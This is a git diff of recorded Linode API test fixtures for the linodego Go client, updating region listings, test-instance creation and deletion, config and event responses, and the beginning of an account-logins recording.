172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": + "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], + "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, + 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, + 172.236.0.48", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, + 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 14}' + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" @@ -94,19 +283,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:46:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -117,14 +310,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-5k0mfy94hi15","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-c26953m3akqo","root_pass":"}W9+7I4664C.t635^phH\u0026yzYnB946bQmp@Xx-?/Z@.f(4z}sC3UDpNBC(kw\\8?B9","image":"linode/debian9","firewall_id":567533,"booted":false}' form: {} headers: Accept: @@ -136,15 +329,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 46936365, "label": "go-test-ins-5k0mfy94hi15", "group": "", "status": + body: '{"id": 60302854, "label": "go-test-ins-c26953m3akqo", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["194.195.119.209"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.104.207.73"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "5d091e7cd8be0eda03fd5427bc793e60b152a517"}' + "6833df95c5afc7bde87b97a18f8204e6eb2187f8", "has_user_data": false, "placement_group": + null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -157,15 +351,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "719" + - "790" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:46:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -196,10 +394,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46936365/configs + url: https://api.linode.com/v4beta/linode/instances/60302854/configs method: POST response: - body: '{"id": 49791866, "label": "test-config", "helpers": {"updatedb_disabled": + body: '{"id": 63502443, "label": "test-config", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -218,15 +416,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "525" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:46:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -241,7 +443,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -258,16 +460,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"action":"linode_config_create","entity.id":46936365,"entity.type":"linode"}' - url: https://api.linode.com/v4beta/account/events + - '{"action":"linode_config_create","entity.id":60302854,"entity.type":"linode"}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 511080170, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 746165972, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "linode_config_create", "username": "zliang27", - "entity": {"label": "go-test-ins-5k0mfy94hi15", "id": 46936365, "type": "linode", - "url": "/v4/linode/instances/46936365"}, "status": "notification", "secondary_entity": - {"id": 49791866, "type": "linode_config", "label": "test-config", "url": "/v4/linode/instances/46936365/configs/49791866"}, + "duration": null, "action": "linode_config_create", "username": "lgarber-dev", + "entity": {"label": "go-test-ins-c26953m3akqo", "id": 60302854, "type": "linode", + "url": "/v4/linode/instances/60302854"}, "status": "notification", "secondary_entity": + {"id": 63502443, "type": "linode_config", "label": "test-config", "url": "/v4/linode/instances/60302854/configs/63502443"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -281,16 +483,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "578" + - "581" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:46:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -306,7 +511,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -322,7 +527,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46936365 + url: https://api.linode.com/v4beta/linode/instances/60302854 method: DELETE response: body: '{}' @@ -338,15 +543,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:46:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -361,7 +570,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestAccountLogins_List.yaml b/test/integration/fixtures/TestAccountLogins_List.yaml index 04d8240b1..626aaa0f6 100644 --- a/test/integration/fixtures/TestAccountLogins_List.yaml +++ b/test/integration/fixtures/TestAccountLogins_List.yaml @@ -11,20 +11,34 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/logins + url: https://api.linode.com/v4beta/account/logins?page=1 method: GET response: - body: '{"data": [{"id": 1563948056, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", - "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": - 1563982298, "datetime": "2018-01-02T03:04:05", "ip": "24.63.69.52", "username": - "ErikZilber", "status": "successful", "restricted": false}, {"id": 1564542275, - "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", - "username": "ErikZilber", "status": "failed", "restricted": false}, {"id": 1564542300, - "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", - "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": - 1564542307, "datetime": 